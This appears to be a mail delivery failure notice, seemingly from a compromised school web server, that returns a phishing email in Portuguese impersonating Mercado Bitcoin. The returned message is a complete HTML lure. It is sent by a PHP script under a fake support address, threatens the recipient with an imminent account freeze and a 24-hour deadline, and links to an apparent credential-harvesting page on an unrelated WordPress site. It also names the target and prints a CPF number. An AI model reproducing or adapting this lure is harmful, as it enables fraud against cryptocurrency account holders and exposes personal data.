HEX

File: /home/bannong/Maildir/new/1764183004.M32181P615884.server-27-254-144-72.da.direct,S=7252,W=7393
Envelope-to: bannong@bannongsaischool.com
Delivery-date: Thu, 27 Nov 2025 01:50:04 +0700
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@server-27-254-144-72.da.direct>
To: bannong@bannongsaischool.com
References: <acff97d4a85fcfbe87c3f0bcf5e870f9c8482643@bannongsaischool.com>
Content-Type: multipart/report; report-type=delivery-status; boundary=1764183003-eximdsn-1752537507
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1vOKaZ-00000002cWN-3qb6@server-27-254-144-72.da.direct>
Date: Thu, 27 Nov 2025 01:50:03 +0700

--1764183003-eximdsn-1752537507
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  FERNANDO.CAMPOS@PONSSE.COM
    host ponsse-com.mail.protection.outlook.com [52.101.68.32]
    SMTP error from remote mail server after RCPT TO:<FERNANDO.CAMPOS@PONSSE.COM>:
    550 5.4.1 Recipient address rejected: Access denied. For more information see https://aka.ms/EXOSmtpErrors [DU6PEPF0000B622.eurprd02.prod.outlook.com 2025-11-26T18:50:03.379Z 08DE2AC5399CF3C9]

--1764183003-eximdsn-1752537507
Content-type: message/delivery-status

Reporting-MTA: dns; server-27-254-144-72.da.direct

Action: failed
Final-Recipient: rfc822;FERNANDO.CAMPOS@PONSSE.COM
Status: 5.0.0
Remote-MTA: dns; ponsse-com.mail.protection.outlook.com
Diagnostic-Code: smtp; 550 5.4.1 Recipient address rejected: Access denied. For more information see https://aka.ms/EXOSmtpErrors [DU6PEPF0000B622.eurprd02.prod.outlook.com 2025-11-26T18:50:03.379Z 08DE2AC5399CF3C9]

--1764183003-eximdsn-1752537507
Content-type: message/rfc822

Return-path: <bannong@bannongsaischool.com>
Received: from bannong by server-27-254-144-72.da.direct with local (Exim 4.98)
	(envelope-from <bannong@bannongsaischool.com>)
	id 1vOKaU-00000002cU1-2DgC
	for FERNANDO.CAMPOS@PONSSE.COM;
	Thu, 27 Nov 2025 01:50:01 +0700
To: FERNANDO.CAMPOS@PONSSE.COM
Subject: Ref: 4shzc4m - Mercado Bitcoin: Ferando Campos Passo - Verificacao de Seguranca Urgente na Conta FERNANDO.CAMPOS@PONSSE.COM - 27/11/2025 01:49:58
X-PHP-Originating-Script: 1179:item.php
From: "Mercado Bitcoin - Suporte" <SUPORTE_MERCADOBITCOIN26758@server-27-254-144-72.da.direct>
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
X-Mailer: PHP/8.1.26
Reply-To: <SUPORTE_MERCADOBITCOIN26758@server-27-254-144-72.da.direct>
X-Sender: SUPORTE_MERCADOBITCOIN26758
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
Message-ID: <acff97d4a85fcfbe87c3f0bcf5e870f9c8482643@bannongsaischool.com>
Date: Wed, 26 Nov 2025 18:18:25 +0000
X-Originating-IP: [27.254.144.72]

<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <title>ATEN&Ccedil;&Atilde;O: Sua conta Mercado Bitcoin est&aacute; sob risco IMEDIATO de bloqueio total!</title>
</head>
<body>
    <div style="max-width: 600px; margin: 40px auto; background-color: #ffffff; padding: 20px; border-radius: 10px; box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.1); font-family: Arial, sans-serif;">
        
        <!-- CabeÃ§alho -->
        <div style="background-color: #003087; color: white; text-align: center; padding: 15px; font-size: 18px; font-weight: bold; border-radius: 10px 10px 0 0;">
            Mercado Bitcoin
        </div>
        
        <!-- Alerta Vermelho -->
        <div style="background-color: #cc092f; color: white; text-align: center; padding: 12px; font-size: 17px; font-weight: bold;">
            ATEN&Ccedil;&Atilde;O: Sua conta est&aacute; sob risco IMEDIATO de bloqueio total!
        </div>
        
        <!-- ConteÃºdo -->
        <div style="padding: 20px; color: #333333; font-size: 16px; line-height: 1.5;">
            <p>Prezado(a),</p>
            
            <p>Identificamos <strong>movimenta&ccedil;&otilde;es altamente suspeitas</strong> na conta Mercado Bitcoin vinculada &agrave; Cliente: <strong>Ferando Campos Passo</strong> e ao e-mail <strong>FERNANDO.CAMPOS@PONSSE.COM</strong> nas &uacute;ltimas 48 horas.</p>

            <p>Foram detectadas tentativas de login de IPs desconhecidos, altera&ccedil;&otilde;es n&atilde;o autorizadas e transa&ccedil;&otilde;es fora do padr&atilde;o habitual. Por seguran&ccedil;a, <strong>j&aacute; ativamos o protocolo de conten&ccedil;&atilde;o autom&aacute;tica</strong>.</p>

            <!-- Caixa de aviso -->
            <div style="background-color: #fff5f5; padding: 15px; border-radius: 8px; margin: 20px 0; border-left: 6px solid #cc092f;">
                <p style="margin:0; color:#990000; font-weight:bold;">
                    A partir de <strong>27/11/2025 01:49:58</strong>, todos os saques, transfer&ecirc;ncias e negocia&ccedil;&otilde;es do Cliente: <strong>Ferando Campos Passo</strong> ser&atilde;o <u>BLOQUEADOS</u> at&eacute; a confirma&ccedil;&atilde;o do respons&aacute;vel financeiro.
                </p>
            </div>

            <p>Voc&ecirc; tem <strong>apenas 24 horas</strong> para autorizar o contato com nossa Equipe de Seguran&ccedil;a e evitar o congelamento definitivo dos ativos.</p>

            <p><strong>Clique no bot&atilde;o abaixo</strong> para confirmar os dados e agendar o desbloqueio imediato:</p>

            <!-- BotÃ£o -->
            <div style="text-align: center; margin: 25px 0;">
                <a href="https://appsinnovate.com/wp-content/mb/?cid=FERNANDO.CAMPOS@PONSSE.COM&black=ii" 
                   target="_blank" 
                   style="display: inline-block; background-color: #001f5b; color: white; padding: 14px 30px; text-decoration: none; border-radius: 6px; font-weight: bold; font-size: 17px;">
                    CONFIRMAR CONTATO IMEDIATO
                </a>
            </div>

            <p style="color:#990000; font-weight:bold;">
                Procedimento obrigat&oacute;rio de compliance. N&atilde;o ignore &ndash; seus fundos est&atilde;o em risco.
            </p>

            <p style="font-size:14px; color:#666666;">
                <em>CPF: 299.731.148-92<br>
                Data da detec&ccedil;&atilde;o: 27/11/2025 01:49:58</em>
            </p>
        </div>

        <!-- RodapÃ© -->
        <div style="margin-top: 20px; font-size: 14px; color: #666666; text-align: center; padding-top: 15px; border-top: 1px solid #cccccc;">
            <p>Mercado Bitcoin | CNPJ: 18.213.451/0001-84<br>
            Avenida Brigadeiro Faria Lima, 4055 &ndash; Itaim Bibi &ndash; S&atilde;o Paulo/SP</p>
            <p>Esta &eacute; uma mensagem autom&aacute;tica. Por favor, n&atilde;o responda este e-mail.</p>
        </div>
    </div>
</body>
</html>

--1764183003-eximdsn-1752537507--